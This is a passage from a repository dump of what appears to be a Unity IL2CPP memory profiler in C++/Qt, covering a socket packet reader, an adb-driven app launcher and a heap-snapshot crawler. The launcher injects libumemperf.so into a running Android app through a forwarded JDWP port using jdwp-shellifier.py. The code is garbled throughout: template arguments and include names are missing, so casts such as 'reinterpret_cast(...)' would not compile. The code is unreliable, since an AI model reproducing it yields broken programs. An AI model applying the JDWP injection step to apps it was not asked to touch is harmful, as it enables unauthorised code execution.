snapShot_->gcHandles.trackedObjectCount; i++) { 181 | reader >> snapShot_->gcHandles.pointersToObjects[i]; 182 | } 183 | } else if (magic == kSnapshotRuntimeInfoMagicBytes) { 184 | reader >> snapShot_->runtimeInformation.pointerSize >> snapShot_->runtimeInformation.objectHeaderSize >> 185 | snapShot_->runtimeInformation.arrayHeaderSize >> snapShot_->runtimeInformation.arrayBoundsOffsetInHeader >> 186 | snapShot_->runtimeInformation.arraySizeOffsetInHeader >> snapShot_->runtimeInformation.allocationGranularity; 187 | } else if (magic == kSnapshotTailMagicBytes) { 188 | break; 189 | } else { 190 | qDebug() << "Unknown Section!"; 191 | return false; 192 | } 193 | } 194 | return true; 195 | } 196 | 197 | void RemoteProcess::OnDataReceived() { 198 | auto size = socket_->read(buffer_, BUFFER_SIZE); 199 | if (size <= 0) 200 | return; 201 | qint64 bufferPos = 0; // pos = size - remains 202 | qint64 remainBytes = size; 203 | while (remainBytes > 0) { 204 | if (packetSize_ == 0) { 205 | packetSize_ = *reinterpret_cast(buffer_ + bufferPos); 206 | // qDebug() << "receiving: " << packetSize_; 207 | remainBytes -= 4; 208 | bufferPos = size - remainBytes; 209 | bufferCache_.resize(0); 210 | if (remainBytes > 0) { 211 | if (packetSize_ < remainBytes) { // the data is stored in the same packet, then read them all 212 | bufferCache_.append(buffer_ + bufferPos, static_cast(packetSize_)); 213 | remainBytes -= packetSize_; 214 | bufferPos = size - remainBytes; 215 | Interpret(bufferCache_); 216 | bufferCache_.resize(0); 217 | packetSize_ = 0; 218 | } else { // the data is splited to another packet, we just append whatever we got 219 | bufferCache_.append(buffer_ + bufferPos, static_cast(remainBytes)); 220 | break; 221 | } 222 | } 223 | } else { 224 | auto remainPacketSize = packetSize_ - static_cast(bufferCache_.size()); 225 | if (remainPacketSize <= remainBytes) { // the remaining data is stored in this packet, read what we need 226 | bufferCache_.append(buffer_ + bufferPos, static_cast(remainPacketSize)); 227 | remainBytes -= remainPacketSize; 228 | bufferPos = size - remainBytes; 229 | Interpret(bufferCache_); 230 | bufferCache_.resize(0); 231 | packetSize_ = 0; 232 | } else { // the remaining data is splited to another packet, we just append whatever we got 233 | bufferCache_.append(buffer_ + bufferPos, static_cast(remainBytes)); 234 | break; 235 | } 236 | } 237 | } 238 | } 239 | 240 | void RemoteProcess::OnConnected() { 241 | connectingServer_ = false; 242 | serverConnected_ = true; 243 | } 244 | 245 | void RemoteProcess::OnDisconnected() { 246 | connectingServer_ = false; 247 | serverConnected_ = false; 248 | emit ConnectionLost(); 249 | } 250 | -------------------------------------------------------------------------------- /src/startappprocess.cpp: -------------------------------------------------------------------------------- 1 | #include "startappprocess.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | StartAppProcess::StartAppProcess(QObject* parent) 12 | : AdbProcess(parent) { 13 | 14 | } 15 | 16 | void StartAppProcess::StartApp(const QString& appName, const QString& arch, QProgressDialog* dialog) { 17 | startResult_ = false; 18 | errorStr_ = QString(); 19 | auto execPath = GetExecutablePath(); 20 | QStringList arguments; 21 | { // push remote folder to /data/local/tmp 22 | dialog->setLabelText("Pushing libumemperf.so to device."); 23 | arguments << "push" << "remote/" + arch + "/libumemperf.so" << "/data/local/tmp"; 24 | QProcess process; 25 | process.setWorkingDirectory(QCoreApplication::applicationDirPath()); 26 | process.setProgram(execPath); 27 | #ifdef Q_OS_WIN 28 | process.setNativeArguments(arguments.join(' ')); 29 | #else 30 | process.setArguments(arguments); 31 | #endif 32 | process.start(); 33 | if (!process.waitForStarted()) { 34 | errorStr_ = "erro starting: adb push remote/libumemperf.so /data/local/tmp"; 35 | emit ProcessErrorOccurred(); 36 | return; 37 | } 38 | if (!process.waitForFinished()) { 39 | errorStr_ = "erro finishing: adb push remote/libumemperf.so /data/local/tmp"; 40 | emit ProcessErrorOccurred(); 41 | return; 42 | } 43 | dialog->setValue(dialog->value() + 1); 44 | } 45 | { // set app as debugable for next launch 46 | dialog->setLabelText("Marking apk debugable for next launch."); 47 | arguments.clear(); 48 | arguments << "shell" << "am" << "set-debug-app" << appName; 49 | QProcess process; 50 | process.setProgram(execPath); 51 | #ifdef Q_OS_WIN 52 | process.setNativeArguments(arguments.join(' ')); 53 | #else 54 | process.setArguments(arguments); 55 | #endif 56 | process.start(); 57 | if (!process.waitForStarted()) { 58 | errorStr_ = "erro starting: adb shell am set-debug-app com.company.app"; 59 | emit ProcessErrorOccurred(); 60 | return; 61 | } 62 | if (!process.waitForFinished()) { 63 | errorStr_ = "erro finishing: adb shell am set-debug-app com.company.app"; 64 | emit ProcessErrorOccurred(); 65 | return; 66 | } 67 | dialog->setValue(dialog->value() + 1); 68 | } 69 | { // launch the app 70 | dialog->setLabelText("Launching apk."); 71 | arguments.clear(); 72 | arguments << "shell" << "monkey -p" << appName << "-c android.intent.category.LAUNCHER 1"; 73 | QProcess process; 74 | process.setProgram(execPath); 75 | #ifdef Q_OS_WIN 76 | process.setNativeArguments(arguments.join(' ')); 77 | #else 78 | process.setArguments(arguments); 79 | #endif 80 | process.start(); 81 | if (!process.waitForStarted()) { 82 | errorStr_ = "erro starting: adb shell monkey -p com.company.app -c android.intent.category.LAUNCHER 1"; 83 | emit ProcessErrorOccurred(); 84 | return; 85 | } 86 | if (!process.waitForFinished()) { 87 | errorStr_ = "erro finishing: adb shell monkey -p com.company.app -c android.intent.category.LAUNCHER 1"; 88 | emit ProcessErrorOccurred(); 89 | return; 90 | } 91 | dialog->setValue(dialog->value() + 1); 92 | } 93 | unsigned int pid = 0; 94 | { // adb jdwp 95 | QThread::sleep(1); 96 | dialog->setLabelText("Gettting jdwp id."); 97 | arguments.clear(); 98 | arguments << "jdwp"; 99 | QProcess process; 100 | process.setProgram(execPath); 101 | #ifdef Q_OS_WIN 102 | process.setNativeArguments(arguments.join(' ')); 103 | #else 104 | process.setArguments(arguments); 105 | #endif 106 | process.start(); 107 | if (!process.waitForStarted()) { 108 | errorStr_ = "erro starting: adb jdwp"; 109 | emit ProcessErrorOccurred(); 110 | return; 111 | } 112 | if (!process.waitForFinished(3000)) { 113 | process.kill(); 114 | QString retStr = process.readAll(); 115 | auto lines = retStr.split('\n', QString::SkipEmptyParts); 116 | if (lines.count() == 0) { 117 | errorStr_ = "erro interpreting: adb jdwp"; 118 | emit ProcessErrorOccurred(); 119 | return; 120 | } 121 | pid = lines[lines.count() - 1].trimmed().toUInt(); 122 | } 123 | dialog->setValue(dialog->value() + 1); 124 | } 125 | { // adb forward 126 | dialog->setLabelText("Forwadring tcp port."); 127 | arguments.clear(); 128 | arguments << "forward" << "tcp:8700" << ("jdwp:" + QString::number(pid)); 129 | QProcess process; 130 | process.setProgram(execPath); 131 | #ifdef Q_OS_WIN 132 | process.setNativeArguments(arguments.join(' ')); 133 | #else 134 | process.setArguments(arguments); 135 | #endif 136 | process.start(); 137 | if (!process.waitForStarted()) { 138 | errorStr_ = "erro starting: adb forward tcp:8700 jdwp:xxxx"; 139 | emit ProcessErrorOccurred(); 140 | return; 141 | } 142 | if (!process.waitForFinished()) { 143 | errorStr_ = "erro finishing: adb forward tcp:8700 jdwp:xxxx"; 144 | emit ProcessErrorOccurred(); 145 | return; 146 | } 147 | dialog->setValue(dialog->value() + 1); 148 | } 149 | // QMessageBox::information(dialog, "Waiting", "Click OK When SplashScreen Is Over."); 150 | // python jdwp-shellifier.py 151 | errorStr_ = "python jdwp-shellifier.py"; 152 | dialog->setLabelText("Injecting libumemperf.so to target application."); 153 | arguments.clear(); 154 | arguments << "jdwp-shellifier.py" << "--target" << "127.0.0.1" << "--port" << "8700" << "--break-on" << "com.unity3d.player.UnityPlayer.executeGLThreadJobs" << "--loadlib" << "libumemperf.so"; 155 | process_->setWorkingDirectory(QCoreApplication::applicationDirPath()); 156 | process_->setProgram(pythonPath_); 157 | #ifdef Q_OS_WIN 158 | process_->setNativeArguments(arguments.join(' ')); 159 | #else 160 | process_->setArguments(arguments); 161 | #endif 162 | ExecuteAsync(); 163 | } 164 | 165 | void StartAppProcess::OnProcessFinihed() { 166 | QString retStr = process_->readAll(); 167 | errorStr_ = retStr; 168 | process_->close(); 169 | QTextStream stream(&retStr); 170 | QString line; 171 | while(stream.readLineInto(&line)) { 172 | if (line.contains("Command successfully executed")) 173 | { 174 | startResult_ = true; 175 | break; 176 | } 177 | } 178 | } 179 | 180 | void StartAppProcess::OnProcessErrorOccurred() { 181 | errorStr_ = process_->readAll(); 182 | } 183 | -------------------------------------------------------------------------------- /src/umpcrawler.cpp: -------------------------------------------------------------------------------- 1 | #include "umpcrawler.h" 2 | 3 | #include 4 | #include 5 | 6 | BytesAndOffset FindInHeap(Il2CppManagedMemorySnapshot* snapshot, std::uint64_t addr) { 7 | BytesAndOffset ba; 8 | for (std::uint32_t i = 0; i < snapshot->heap.sectionCount; i++) { 9 | auto section = snapshot->heap.sections[i]; 10 | if (addr >= section.sectionStartAddress && addr < (section.sectionStartAddress + static_cast(section.sectionSize))) { 11 | ba.bytes_ = section.sectionBytes; 12 | ba.offset_ = addr - section.sectionStartAddress; 13 | ba.pointerSize_ = snapshot->runtimeInformation.pointerSize; 14 | break; 15 | } 16 | } 17 | return ba; 18 | } 19 | 20 | int ReadArrayLength(Il2CppManagedMemorySnapshot* snapshot, std::uint64_t address, Il2CppMetadataType* arrayType) { 21 | auto bo = FindInHeap(snapshot, address); 22 | auto bounds = bo.Add(snapshot->runtimeInformation.arrayBoundsOffsetInHeader).ReadPointer(); 23 | if (bounds == 0) 24 | return bo.Add(snapshot->runtimeInformation.arraySizeOffsetInHeader).ReadInt32(); 25 | auto cursor = FindInHeap(snapshot, bounds); 26 | int length = 1; 27 | int arrayRank = static_cast(arrayType->flags & Il2CppMetadataTypeFlags::kArrayRankMask) >> 16; 28 | for (int i = 0; i < arrayRank; i++) { 29 | length *= cursor.ReadInt32(); 30 | cursor = cursor.Add(8); 31 | } 32 | return length; 33 | } 34 | 35 | int ReadArrayObjectSizeInBytes(Il2CppManagedMemorySnapshot* snapshot, std::uint64_t address, Il2CppMetadataType* arrayType, 36 | const std::vector& typeDescriptions) { 37 | auto arrayLength = ReadArrayLength(snapshot, address, arrayType); 38 | auto elementType = typeDescriptions[arrayType->baseOrElementTypeIndex]; 39 | auto elementSize = ((elementType->flags & Il2CppMetadataTypeFlags::kValueType) != 0) ? elementType->size : snapshot->runtimeInformation.pointerSize; 40 | return static_cast(snapshot->runtimeInformation.arrayHeaderSize + elementSize * static_cast(arrayLength)); 41 | } 42 | 43 | int ReadStringObjectSizeInBytes(BytesAndOffset& bo, Il2CppManagedMemorySnapshot* snapshot) { 44 | auto lengthPointer = bo.Add(snapshot->runtimeInformation.objectHeaderSize); 45 | auto length = lengthPointer.ReadInt32(); 46 | return static_cast(snapshot->runtimeInformation.objectHeaderSize) + 1 + (length + 2) + 2; 47 | } 48 | 49 | void Crawler::Crawl(PackedCrawlerData& result, Il2CppManagedMemorySnapshot* snapshot) { 50 | std::vector managedObjects; 51 | std::vector connections; 52 | for (std::uint32_t i = 0; i < snapshot->metadata.typeCount; i++) { 53 | auto type = &snapshot->metadata.types[i]; 54 | type->typeIndex = i; 55 | typeInfoToTypeDescription_.emplace(type->typeInfoAddress, type); 56 | typeDescriptions_.push_back(type); 57 | } 58 | // crawl pointers 59 | for (std::uint32_t i = 0; i < snapshot->gcHandles.trackedObjectCount; i++) { 60 | auto gcHandle = snapshot->gcHandles.pointersToObjects[i]; 61 | CrawlPointer(snapshot, result.startIndices_, gcHandle, result.startIndices_.OfFirstGCHandle() + i, connections, managedObjects); 62 | } 63 | // crawl raw object data 64 | for (std::size_t i = 0; i < result.typesWithStaticFields_.size(); i++) { 65 | auto typeDescription = result.typesWithStaticFields_[i]; 66 | BytesAndOffset ba; 67 | ba.bytes_ = typeDescription->statics; 68 | ba.offset_ = 0; 69 | ba.pointerSize_ = snapshot->runtimeInformation.pointerSize; 70 | CrawlRawObjectData(snapshot, result.startIndices_, ba, typeDescription, 71 | true, result.startIndices_.OfFirstStaticFields() + static_cast(i), connections, managedObjects); 72 | } 73 | result.managedObjects_ = std::move(managedObjects); 74 | result.connections_ = std::move(connections); 75 | result.typeDescriptions_ = std::move(typeDescriptions_); 76 | } 77 | 78 | void Crawler::CrawlPointer(Il2CppManagedMemorySnapshot* snapshot, StartIndices startIndices, std::uint64_t pointer, std::uint32_t indexOfFrom, 79 | std::vector& outConnections, std::vector& outManagedObjects) { 80 | auto bo = FindInHeap(snapshot, pointer); 81 | if (!bo.IsValid()) 82 | return; 83 | std::uint64_t typeInfoAddress; 84 | std::uint32_t indexOfObject; 85 | bool wasAlreadyCrawled; 86 | 87 | ParseObjectHeader(startIndices, snapshot, pointer, typeInfoAddress, indexOfObject, wasAlreadyCrawled, outManagedObjects); 88 | outConnections.push_back(Connection(indexOfFrom, indexOfObject)); 89 | 90 | if (wasAlreadyCrawled) 91 | return; 92 | 93 | auto typeDescription = typeInfoToTypeDescription_[typeInfoAddress]; 94 | if ((typeDescription->flags & Il2CppMetadataTypeFlags::kArray) == 0) { 95 | auto bo2 = bo.Add(snapshot->runtimeInformation.objectHeaderSize); 96 | CrawlRawObjectData(snapshot, startIndices, bo2, typeDescription, false, indexOfObject, outConnections, outManagedObjects); 97 | return; 98 | } 99 | auto arrayLen = ReadArrayLength(snapshot, pointer, typeDescription); 100 | auto elementType = typeDescriptions_[typeDescription->baseOrElementTypeIndex]; 101 | auto cursor = bo.Add(snapshot->runtimeInformation.arrayHeaderSize); 102 | for (int i = 0; i != arrayLen; i++) { 103 | if ((elementType->flags & Il2CppMetadataTypeFlags::kValueType) != 0) { 104 | CrawlRawObjectData(snapshot, startIndices, cursor, elementType, false, indexOfObject, outConnections, outManagedObjects); 105 | cursor = cursor.Add(elementType->size); 106 | } else { 107 | CrawlPointer(snapshot, startIndices, cursor.ReadPointer(), indexOfObject, outConnections, outManagedObjects); 108 | cursor = cursor.NextPointer(); 109 | } 110 | } 111 | } 112 | 113 | void Crawler::ParseObjectHeader(StartIndices& startIndices, Il2CppManagedMemorySnapshot* snapshot, std::uint64_t originalHeapAddress, std::uint64_t& typeInfoAddress, 114 | std::uint32_t& indexOfObject, bool& wasAlreadyCrawled, std::vector& outManagedObjects) { 115 | auto bo = FindInHeap(snapshot, originalHeapAddress); 116 | auto pointer1 = bo.ReadPointer(); 117 | auto pointer2 = bo.NextPointer(); 118 | if ((pointer1 & 1) == 0) { 119 | wasAlreadyCrawled = false; 120 | indexOfObject = static_cast(outManagedObjects.size() + startIndices.OfFirstManagedObject()); 121 | typeInfoAddress = pointer1; 122 | auto typeDescription = typeInfoToTypeDescription_[pointer1]; 123 | auto size = SizeOfObjectInBytes(typeDescription, bo, snapshot, originalHeapAddress); 124 | PackedManagedObject managedObj; 125 | managedObj.address_ = originalHeapAddress; 126 | managedObj.size_ = static_cast(size); 127 | managedObj.typeIndex_ = typeDescription->typeIndex; 128 | outManagedObjects.push_back(managedObj); 129 | bo.WritePointer(pointer1 | 1); 130 | pointer2.WritePointer(static_cast(indexOfObject)); 131 | return; 132 | } 133 | typeInfoAddress = pointer1 & ~static_cast(1); 134 | wasAlreadyCrawled = true; 135 | indexOfObject = static_cast(pointer2.ReadPointer()); 136 | return; 137 | } 138 | 139 | void AllFieldsOf(Il2CppMetadataType* typeDescription, std::vector& typeDescriptions, 140 | FieldFindOptions options, std::vector& outFields) { 141 | std::vector targetTypes = { typeDescription }; 142 | while (!targetTypes.empty()) { 143 | auto curType = targetTypes.back(); 144 | targetTypes.pop_back(); 145 | if ((curType->flags & Il2CppMetadataTypeFlags::kArray) != 0) 146 | continue; 147 | // baseOrElementTypeIndex is Uint in unity source-code 148 | if (options != FieldFindOptions::OnlyStatic && curType->baseOrElementTypeIndex != static_cast(-1)) { 149 | auto baseTypeDescription = typeDescriptions[curType->baseOrElementTypeIndex]; 150 | targetTypes.push_back(baseTypeDescription); 151 | } 152 | for (std::uint32_t i = 0; i < curType->fieldCount; i++) { 153 | auto field = &curType->fields[i]; 154 | if ((field->isStatic && options == FieldFindOptions::OnlyStatic) || (!field->isStatic && options == FieldFindOptions::OnlyInstance)) 155 | outFields.push_back(field); 156 | } 157 | } 158 | } 159 | 160 | void Crawler::CrawlRawObjectData(Il2CppManagedMemorySnapshot* snapshot, StartIndices startIndices, BytesAndOffset bytesAndOffset, 161 | Il2CppMetadataType* typeDescription, bool useStaticFields, std::uint32_t indexOfFrom, 162 | std::vector& outConnections, std::vector& outManagedObjects) { 163 | std::vector fields; 164 | AllFieldsOf(typeDescription, typeDescriptions_, useStaticFields ? FieldFindOptions::OnlyStatic : FieldFindOptions::OnlyInstance, fields); 165 | for (auto& field : fields) { 166 | if (field->typeIndex == typeDescription->typeIndex && (typeDescription->flags & Il2CppMetadataTypeFlags::kValueType) != 0) 167 | continue; 168 | // field.offset is Uint in unity source-code 169 | if (field->offset == static_cast(-1)) 170 | continue; 171 | auto fieldType = typeDescriptions_[field->typeIndex]; 172 | auto fieldLocation = bytesAndOffset.Add(field->offset - (useStaticFields ? 0 : snapshot->runtimeInformation.objectHeaderSize)); 173 | if ((fieldType->flags & Il2CppMetadataTypeFlags::kValueType) != 0) { 174 | CrawlRawObjectData(snapshot, startIndices, fieldLocation, fieldType, false, indexOfFrom, outConnections, outManagedObjects); 175 | continue; 176 | } 177 | // temporary workaround for a bug in 5.3b4 and earlier where we would get literals returned as fields with offset 0. soon we'll be able to remove this code. 178 | if (fieldLocation.pointerSize_ == 4 || fieldLocation.pointerSize_ == 8) { 179 | CrawlPointer(snapshot, startIndices, fieldLocation.ReadPointer(), indexOfFrom, outConnections, outManagedObjects); 180 | } 181 | } 182 | } 183 | 184 | int Crawler::SizeOfObjectInBytes(Il2CppMetadataType* typeDescription, BytesAndOffset bo, Il2CppManagedMemorySnapshot* snapshot, std::uint64_t address) { 185 | if ((typeDescription->flags & Il2CppMetadataTypeFlags::kArray) != 0) { 186 | return ReadArrayObjectSizeInBytes(snapshot, address, typeDescription, typeDescriptions_); 187 | } 188 | if (QString(typeDescription->name) == "System.String") { 189 | return ReadStringObjectSizeInBytes(bo, snapshot); 190 | } 191 | return static_cast(typeDescription->size); 192 | } 193 | 194 | void CrawledMemorySnapshot::Unpack(CrawledMemorySnapshot& result, Il2CppManagedMemorySnapshot* snapshot, PackedCrawlerData& packedCrawlerData) { 195 | result.runtimeInformation_ = snapshot->runtimeInformation; 196 | // managed heap 197 | result.managedHeap_.resize(snapshot->heap.sectionCount); 198 | for (std::size_t i = 0; i < snapshot->heap.sectionCount; i++) { 199 | auto section = &snapshot->heap.sections[i]; 200 | auto newSection = &result.managedHeap_[i]; 201 | newSection->sectionSize_ = section->sectionSize; 202 | newSection->sectionStartAddress_ = section->sectionStartAddress; 203 | newSection->sectionBytes_ = new std::uint8_t[section->sectionSize]; 204 | memcpy(newSection->sectionBytes_, section->sectionBytes, section->sectionSize); 205 | } 206 | // convert typeDescriptions 207 | result.typeDescriptions_.resize(packedCrawlerData.typeDescriptions_.size()); 208 | for (std::size_t i = 0; i < packedCrawlerData.typeDescriptions_.size(); i++) { 209 | auto& from = packedCrawlerData.typeDescriptions_[i]; 210 | auto& to = result.typeDescriptions_[i]; 211 | to.flags_ = from->flags; 212 | if ((to.flags_ & Il2CppMetadataTypeFlags::kArray) == 0) { 213 | to.fields_.resize(from->fieldCount); 214 | for (std::uint32_t j = 0; j < from->fieldCount; j++) { 215 | auto& fromField = from->fields[j]; 216 | auto& toField = to.fields_[j]; 217 | toField.name_ = QString::fromLocal8Bit(fromField.name); 218 | toField.offset_ = fromField.offset; 219 | toField.isStatic_ = fromField.isStatic; 220 | toField.typeIndex_ = fromField.typeIndex; 221 | } 222 | to.statics_ = new std::uint8_t[from->staticsSize]; 223 | to.staticsSize_ = from->staticsSize; 224 | memcpy(to.statics_, from->statics, from->staticsSize); 225 | } 226 | to.baseOrElementTypeIndex_ = from->baseOrElementTypeIndex; 227 | to.name_ = QString::fromLocal8Bit(from->name); 228 | to.assemblyName_ = QString::fromLocal8Bit(from->assemblyName); 229 | to.typeInfoAddress_ = from->typeInfoAddress; 230 | to.size_ = from->size; 231 | to.typeIndex_ = from->typeIndex; 232 | } 233 | // unpack gchandle 234 | for (std::uint32_t i = 0; i < snapshot->gcHandles.trackedObjectCount; i++) { 235 | GCHandle handle; 236 | handle.size_ = snapshot->runtimeInformation.pointerSize; 237 | handle.caption_ = "gchandle"; 238 | result.gcHandles_.push_back(handle); 239 | } 240 | // unpack statics 241 | for (auto type : packedCrawlerData.typesWithStaticFields_) { 242 | StaticFields field; 243 | field.typeDescription_ = &result.typeDescriptions_[type->typeIndex]; 244 | field.caption_ = QString("static field of ") + type->name; 245 | field.size_ = type->staticsSize; 246 | result.staticFields_.push_back(field); 247 | } 248 | // unpack managed 249 | for (auto& managed : packedCrawlerData.managedObjects_) { 250 | ManagedObject mo; 251 | mo.address_ = managed.address_; 252 | mo.size_ = managed.size_; 253 | mo.typeDescription_ = &result.typeDescriptions_[managed.typeIndex_]; 254 | mo.caption_ = mo.typeDescription_->name_; 255 | result.managedObjects_.push_back(mo); 256 | } 257 | // combine 258 | result.allObjects_.reserve(result.gcHandles_.size() + result.staticFields_.size() + result.managedObjects_.size()); 259 | std::uint32_t index = 0; 260 | for (auto& obj : result.gcHandles_) { 261 | obj.index_ = index++; 262 | result.allObjects_.push_back(&obj); 263 | } 264 | for (auto& obj : result.staticFields_) { 265 | obj.index_ = index++; 266 | obj.nameHash_ = qHash(obj.typeDescription_->assemblyName_ + obj.caption_); 267 | result.allObjects_.push_back(&obj); 268 | } 269 | for (auto& obj : result.managedObjects_) { 270 | obj.index_ = index++; 271 | result.allObjects_.push_back(&obj); 272 | } 273 | // connections 274 | std::vector> referencesLists(result.allObjects_.size()); 275 | std::vector> referencedByLists(result.allObjects_.size()); 276 | for (auto& connection : packedCrawlerData.connections_) { 277 | referencesLists[connection.from_].push_back(result.allObjects_[connection.to_]); 278 | referencedByLists[connection.to_].push_back(result.allObjects_[connection.from_]); 279 | } 280 | for (std::size_t i = 0; i != result.allObjects_.size(); i++) { 281 | result.allObjects_[i]->references_ = std::move(referencesLists[i]); 282 | result.allObjects_[i]->referencedBy_ = std::move(referencedByLists[i]); 283 | } 284 | } 285 | 286 | BytesAndOffset CrawledMemorySnapshot::FindInHeap(const CrawledMemorySnapshot* snapshot, std::uint64_t addr) { 287 | BytesAndOffset ba; 288 | for (std::size_t i = 0; i < snapshot->managedHeap_.size(); i++) { 289 | auto section = snapshot->managedHeap_[i]; 290 | if (addr >= section.sectionStartAddress_ && addr < (section.sectionStartAddress_ + static_cast(section.sectionSize_))) { 291 | ba.bytes_ = section.sectionBytes_; 292 | ba.offset_ = addr - section.sectionStartAddress_; 293 | ba.pointerSize_ = snapshot->runtimeInformation_.pointerSize; 294 | break; 295 | } 296 | } 297 | return ba; 298 | } 299 | 300 | QString CrawledMemorySnapshot::ReadString(const CrawledMemorySnapshot* snapshot, const BytesAndOffset& bo) { 301 | if (!bo.IsValid()) 302 | return QString(); 303 | auto lengthPointer = bo.Add(snapshot->runtimeInformation_.objectHeaderSize); 304 | auto length = lengthPointer.ReadInt32(); 305 | auto firstChar = lengthPointer.Add(4); 306 | return QString::fromUtf16(reinterpret_cast(firstChar.bytes_ + firstChar.offset_), length); 307 | } 308 | 309 | int CrawledMemorySnapshot::ReadArrayLength(const CrawledMemorySnapshot* snapshot, std::uint64_t address, TypeDescription* arrayType) { 310 | auto bo = FindInHeap(snapshot, address); 311 | auto bounds = bo.Add(snapshot->runtimeInformation_.arrayBoundsOffsetInHeader).ReadPointer(); 312 | if (bounds == 0) 313 | return bo.Add(snapshot->runtimeInformation_.arraySizeOffsetInHeader).ReadInt32(); 314 | auto cursor = FindInHeap(snapshot, bounds); 315 | int length = 1; 316 | int arrayRank = static_cast(arrayType->flags_ & Il2CppMetadataTypeFlags::kArrayRankMask) >> 16; 317 | for (int i = 0; i < arrayRank; i++) { 318 | length *= cursor.ReadInt32(); 319 | cursor = cursor.Add(8); 320 | } 321 | return length; 322 | } 323 | 324 | void CrawledMemorySnapshot::AllFieldsOf(const CrawledMemorySnapshot* snapshot, const TypeDescription* typeDescription, 325 | FieldFindOptions options, std::vector& outFields) { 326 | std::vector targetTypes = { typeDescription }; 327 | while (!targetTypes.empty()) { 328 | auto curType = targetTypes.back(); 329 | targetTypes.pop_back(); 330 | if ((curType->flags_ & Il2CppMetadataTypeFlags::kArray) != 0) 331 | continue; 332 | // baseOrElementTypeIndex is Uint in unity source-code 333 | if (options != FieldFindOptions::OnlyStatic && curType->baseOrElementTypeIndex_ != static_cast(-1)) { 334 | auto baseTypeDescription = &snapshot->typeDescriptions_[curType->baseOrElementTypeIndex_]; 335 | targetTypes.push_back(baseTypeDescription); 336 | } 337 | for (std::size_t i = 0; i < curType->fields_.size(); i++) { 338 | auto field = &curType->fields_[i]; 339 | if ((field->isStatic_ && options == FieldFindOptions::OnlyStatic) || (!field->isStatic_ && options == FieldFindOptions::OnlyInstance)) 340 | outFields.push_back(field); 341 | } 342 | } 343 | } 344 | 345 | CrawledMemorySnapshot* CrawledMemorySnapshot::Clone(const CrawledMemorySnapshot* src) { 346 | auto clone = new CrawledMemorySnapshot(); 347 | clone->runtimeInformation_ = src->runtimeInformation_; 348 | // managed heap 349 | clone->managedHeap_.resize(src->managedHeap_.size()); 350 | for (std::size_t i = 0; i < src->managedHeap_.size(); i++) { 351 | auto section = &src->managedHeap_[i]; 352 | auto newSection = &clone->managedHeap_[i]; 353 | newSection->sectionSize_ = section->sectionSize_; 354 | newSection->sectionStartAddress_ = section->sectionStartAddress_; 355 | newSection->sectionBytes_ = new std::uint8_t[section->sectionSize_]; 356 | memcpy(newSection->sectionBytes_, section->sectionBytes_, section->sectionSize_); 357 | } 358 | // typeDescriptions 359 | clone->typeDescriptions_.reserve(src->typeDescriptions_.size()); 360 | for (auto& type : src->typeDescriptions_) 361 | clone->typeDescriptions_.push_back(TypeDescription(type)); 362 | // gchandle 363 | clone->gcHandles_.reserve(src->gcHandles_.size()); 364 | for (auto& gchandle : src->gcHandles_) { 365 | clone->gcHandles_.push_back(GCHandle(gchandle)); 366 | } 367 | // statics 368 | clone->staticFields_.reserve(src->staticFields_.size()); 369 | for (auto& staticFields : src->staticFields_) { 370 | clone->staticFields_.push_back(StaticFields(staticFields)); 371 | auto& newStaticFields = clone->staticFields_.back(); 372 | newStaticFields.typeDescription_ = &clone->typeDescriptions_[staticFields.typeDescription_->typeIndex_]; 373 | newStaticFields.nameHash_ = staticFields.nameHash_; 374 | } 375 | clone->managedObjects_.reserve(src->managedObjects_.size()); 376 | for (auto& managed : src->managedObjects_) { 377 | clone->managedObjects_.push_back(ManagedObject(managed)); 378 | auto& newManaged = clone->managedObjects_.back(); 379 | newManaged.address_ = managed.address_; 380 | newManaged.typeDescription_ = &clone->typeDescriptions_[managed.typeDescription_->typeIndex_]; 381 | } 382 | // combine 383 | clone->allObjects_.reserve(src->allObjects_.size()); 384 | std::uint32_t index = 0; 385 | for (auto& obj : clone->gcHandles_) { 386 | obj.index_ = index++; 387 | clone->allObjects_.push_back(&obj); 388 | } 389 | for (auto& obj : clone->staticFields_) { 390 | obj.index_ = index++; 391 | clone->allObjects_.push_back(&obj); 392 | } 393 | for (auto& obj : clone->managedObjects_) { 394 | obj.index_ = index++; 395 | clone->allObjects_.push_back(&obj); 396 | } 397 | // connections 398 | for (std::size_t i = 0; i < clone->allObjects_.size(); i++) { 399 | auto cloneObj = clone->allObjects_[i]; 400 | auto secondObj = src->allObjects_[i]; 401 | cloneObj->references_.reserve(secondObj->references_.size()); 402 | for (auto& ref : secondObj->references_) 403 | cloneObj->references_.push_back(clone->allObjects_[ref->index_]); 404 | cloneObj->referencedBy_.reserve(secondObj->referencedBy_.size()); 405 | for (auto& ref : secondObj->referencedBy_) 406 | cloneObj->referencedBy_.push_back(clone->allObjects_[ref->index_]); 407 | } 408 | return clone; 409 | } 410 | 411 | CrawledMemorySnapshot* CrawledMemorySnapshot::Diff(const CrawledMemorySnapshot* firstSnapshot, const CrawledMemorySnapshot* secondSnapshot) { 412 | auto diffed = CrawledMemorySnapshot::Clone(secondSnapshot); 413 | // managed 414 | std::unordered_map firstManagedObjects; 415 | for (auto& managed : firstSnapshot->managedObjects_) { 416 | firstManagedObjects[managed.address_] = &managed; 417 | } 418 | for (auto& managed : diffed->managedObjects_) { 419 | auto it = firstManagedObjects.find(managed.address_); 420 | if (it != firstManagedObjects.end()) { 421 | auto firstManaged = it->second; 422 | managed.size_ -= firstManaged->size_; 423 | if (managed.size_ == 0) 424 | managed.diff_ = CrawledDiffFlags::kSame; 425 | else if (managed.size_ > 0) 426 | managed.diff_ = CrawledDiffFlags::kBigger; 427 | else 428 | managed.diff_ = CrawledDiffFlags::kSmaller; 429 | } else { 430 | managed.diff_ = CrawledDiffFlags::kAdded; 431 | } 432 | } 433 | // statics 434 | std::unordered_map firstStaticFields; 435 | for (auto& statics : firstSnapshot->staticFields_) { 436 | firstStaticFields[statics.nameHash_] = &statics; 437 | } 438 | for (auto& statics : diffed->staticFields_) { 439 | auto it = firstStaticFields.find(statics.nameHash_); 440 | if (it != firstStaticFields.end()) { 441 | auto firstStatics = it->second; 442 | statics.size_ -= firstStatics->size_; 443 | if (statics.size_ == 0) 444 | statics.diff_ = CrawledDiffFlags::kSame; 445 | else if (statics.size_ > 0) 446 | statics.diff_ = CrawledDiffFlags::kBigger; 447 | else 448 | statics.diff_ = CrawledDiffFlags::kSmaller; 449 | } else { 450 | statics.diff_ = CrawledDiffFlags::kAdded; 451 | } 452 | } 453 | diffed->name_ = "Diff_" + QTime::currentTime().toString("H_m_s"); 454 | diffed->isDiff_ = true; 455 | return 